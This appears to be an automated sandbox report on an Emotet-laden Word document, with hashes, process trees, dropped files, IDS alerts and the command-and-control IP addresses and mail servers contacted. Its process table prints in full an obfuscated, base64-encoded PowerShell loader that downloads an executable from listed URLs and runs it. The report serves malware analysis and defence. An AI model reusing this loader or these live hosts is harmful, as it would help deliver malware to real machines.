analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

BAL_24044016.doc

Full analysis: https://app.any.run/tasks/258b08b4-a8d6-45cb-840c-db169bb876c1
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 18, 2020, 05:04:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
opendir
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Quo., Author: Evan Meunier, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 23:48:00 2020, Last Saved Time/Date: Fri Jan 17 23:48:00 2020, Number of Pages: 2, Number of Words: 4, Number of Characters: 29, Security: 0
MD5:

7F880FBC74177487489C8380D1DDA450

SHA1:

41A5B946CF2DDF308939DAABB2315A7C22C7DA28

SHA256:

A4C639F43C2BE37A99ECADEB48D6FA43F1239968CF51D00A711327D0424EF849

SSDEEP:

6144:yx0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Kq1c1LOb:yx0E3dxtR/iU9mvUPKOaLOb

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 906.exe (PID: 2844)
      • 906.exe (PID: 2040)
      • serialfunc.exe (PID: 2308)
      • serialfunc.exe (PID: 3984)
    • Emotet process was detected

      • 906.exe (PID: 2844)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 3488)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 3984)
    • Connects to CnC server

      • serialfunc.exe (PID: 3984)
    • EMOTET was detected

      • serialfunc.exe (PID: 3984)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • 906.exe (PID: 2844)
      • Powershell.exe (PID: 3488)
    • PowerShell script executed

      • Powershell.exe (PID: 3488)
    • Application launched itself

      • 906.exe (PID: 2040)
    • Creates files in the user directory

      • Powershell.exe (PID: 3488)
    • Executed via WMI

      • Powershell.exe (PID: 3488)
    • Starts itself from another location

      • 906.exe (PID: 2844)
    • Connects to server without host name

      • serialfunc.exe (PID: 3984)
    • Connects to SMTP port

      • serialfunc.exe (PID: 3984)
    • Connects to unusual port

      • serialfunc.exe (PID: 3984)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2492)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2492)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

CompObjUserType: Microsoft Forms 2.0 Form
CompObjUserTypeLen: 25
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 32
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 29
Words: 4
Pages: 2
ModifyDate: 2020:01:17 23:48:00
CreateDate: 2020:01:17 23:48:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Evan Meunier
Subject: -
Title: Quo.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 906.exe no specs #EMOTET 906.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
2492"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\BAL_24044016.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3488Powershell -w hidden -en JABOAGEAaAB4AGIAegB4AG0AbgBzAG0AYgA9ACcARwBiAG0AZABuAG0AZwBoAG4AJwA7ACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACAAPQAgACcAOQAwADYAJwA7ACQASgBsAGwAeABpAHkAcwB2AGgAcAA9ACcAUwBiAHAAYgBkAGEAdgBmAHoAZgBnAGgAJwA7ACQASgBhAGUAcAB1AHAAbwByAHUAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACsAJwAuAGUAeABlACcAOwAkAFAAegBuAGYAbQBqAGMAbwBxAGwAYgBwAGsAPQAnAFkAeAByAHUAcwBsAGwAdwBmAGQAJwA7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAaQB1AHcAZwB4AGMAbgBnAGoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGwAdQBlAGQAcgBlAGEAbQAuAGEAbAAvAGMAYQBsAGUAbgBkAGEAcgAvAHIAOAAzAGcAOQAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBjAG8AbQBlAHQAcAByAGkAbgB0AC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AcQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AagBtAGUAYwBoAGEAbgBpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBkAGQAeQAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABQAG4AZABmAGUAeABsAGkAPQAnAEMAZAB4AHIAZQBsAGUAYQBvACcAOwBmAG8AcgBlAGEAYwBoACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACAAaQBuACAAJABBAGkAdQB3AGcAeABjAG4AZwBqACkAewB0AHIAeQB7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwALgAiAEQATwBgAFcATgBMAG8AYQBEAEYAYABpAGwARQAiACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACwAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQA7ACQAVwBiAGgAcABtAGgAbABlAGMAPQAnAFoAaABuAGIAbQBnAHcAcgAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQAuACIAbABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMQA0ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAEEAYABSAFQAIgAoACQASgBhAGUAcAB1AHAAbwByAHUAYgApADsAJABQAHYAbgB4AGEAZwBhAHMAZQBwAHgAPQAnAEwAdgBwAHIAcQB6AGQAcQBhAGEAZQBwACcAOwBiAHIAZQBhAGsAOwAkAFkAeQBkAHcAcQB6AGcAbAA9ACcAUABnAGYAZABqAGQAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAcgBxAGYAYQB6AGMAeQBwAHYAagBoAD0AJwBDAHUAYgB0AGgAdwBtAGEAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2040"C:\Users\admin\906.exe" C:\Users\admin\906.exePowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
2844--c8768c3dC:\Users\admin\906.exe
906.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
2308"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe906.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
3984--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Version:
1, 0, 0, 76
Total events
2 233
Read events
1 420
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2492WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA802.tmp.cvr
MD5:
SHA256:
2492WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF8590D5319479A935.TMP
MD5:
SHA256:
3488Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U9CMKCKBOLIPD9OZ56G5.temp
MD5:
SHA256:
3488Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b5cd.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
3488Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2492WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:45822EE62FC571A3151895E367644231
SHA256:EB3C643FA978D554A4FC475FB2EC2D439467CBEED53546B5218462C2B3EC2CB5
2492WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:5110DF8CE698B4613C13A42D95F25B09
SHA256:9F83EF163E13DDB84A03DD3BEBBE2AEEEDF7E115031513A0076ADA6F271B20CD
3488Powershell.exeC:\Users\admin\906.exeexecutable
MD5:46419D0F4E145B6B36A56C2776F64D18
SHA256:32DC3D9F0512C46AE83CF2B160E33C699E434086B87CB33A4400C3C180D1D7DF
2492WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$L_24044016.docpgc
MD5:51CB258F440CBA750868E2FC40082956
SHA256:68100680AB59F626B759CCCB95F6E083B1F3A514D229846BB27780F4A7AA33BC
2844906.exeC:\Users\admin\AppData\Local\serialfunc\serialfunc.exeexecutable
MD5:46419D0F4E145B6B36A56C2776F64D18
SHA256:32DC3D9F0512C46AE83CF2B160E33C699E434086B87CB33A4400C3C180D1D7DF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
58
DNS requests
63
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3984
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/RhsKUpuwVja
US
binary
1.38 Mb
malicious
3984
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/tZ5Ls5EKth2vb1Y
PL
binary
3.38 Kb
malicious
3984
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/4ybjp
PL
binary
148 b
malicious
3488
Powershell.exe
GET
200
185.32.20.6:80
http://www.bluedream.al/calendar/r83g9/
AL
executable
344 Kb
suspicious
3984
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/4ybjp
US
binary
148 b
malicious
3984
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/4ybjp
PL
binary
148 b
malicious
3984
serialfunc.exe
POST
91.236.4.234:443
http://91.236.4.234:443/2WqpdX4bYKjqfduAO5
PL
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3984
serialfunc.exe
100.6.23.40:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious
3488
Powershell.exe
185.32.20.6:80
www.bluedream.al
S E L C O M Shpk
AL
suspicious
3984
serialfunc.exe
217.146.190.238:25
pop.mail.yahoo.com
Yahoo! UK Services Limited
GB
shared
3984
serialfunc.exe
66.96.162.96:110
pop.domain.com
The Endurance International Group, Inc.
US
unknown
3984
serialfunc.exe
180.37.199.22:25
aqua.ocn.ne.jp
NTT Communications Corporation
JP
unknown
3984
serialfunc.exe
91.236.4.234:443
FHU Climax Rafal Kraj
PL
malicious
3984
serialfunc.exe
212.223.165.71:465
mail.clustermail.de
Ratiokontakt GmbH
DE
unknown
3984
serialfunc.exe
157.205.238.191:465
pop.parts-seiko.com
Otsuka Corp.
JP
unknown
3984
serialfunc.exe
52.97.186.114:587
smtp.office365.com
Microsoft Corporation
US
unknown
3984
serialfunc.exe
194.184.71.4:110
mail.comune.orbetello.gr.it
Telecom Italia
IT
unknown

DNS requests

Domain
IP
Reputation
www.bluedream.al
  • 185.32.20.6
suspicious
smtp.office365.com
  • 52.97.186.114
  • 52.97.232.194
  • 52.97.189.98
shared
smtp-mail.outlook.com
  • 52.97.186.146
  • 52.97.189.98
  • 52.97.186.114
shared
pop.ocn.ne.jp
  • 153.138.219.39
  • 153.138.213.134
  • 153.138.213.135
  • 153.138.213.150
  • 153.138.213.151
  • 153.138.216.150
  • 153.138.216.151
  • 153.138.219.38
unknown
imap.gmail.com
  • 172.253.120.108
  • 172.253.120.109
shared
pop.parts-seiko.com
  • 157.205.238.191
unknown
mail.ocn.ne.jp
  • 114.147.58.70
  • 118.23.185.144
  • 118.23.178.134
  • 118.23.178.207
  • 118.23.109.27
  • 114.147.58.6
unknown
mail.clustermail.de
  • 212.223.165.71
unknown
lily.ocn.ne.jp
  • 180.37.199.166
unknown
aqua.ocn.ne.jp
  • 180.37.199.22
unknown

Threats

PID
Process
Class
Message
3488
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3488
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3488
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3984
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
3984
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
3984
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3984
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3984
serialfunc.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
3984
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3984
serialfunc.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
No debug info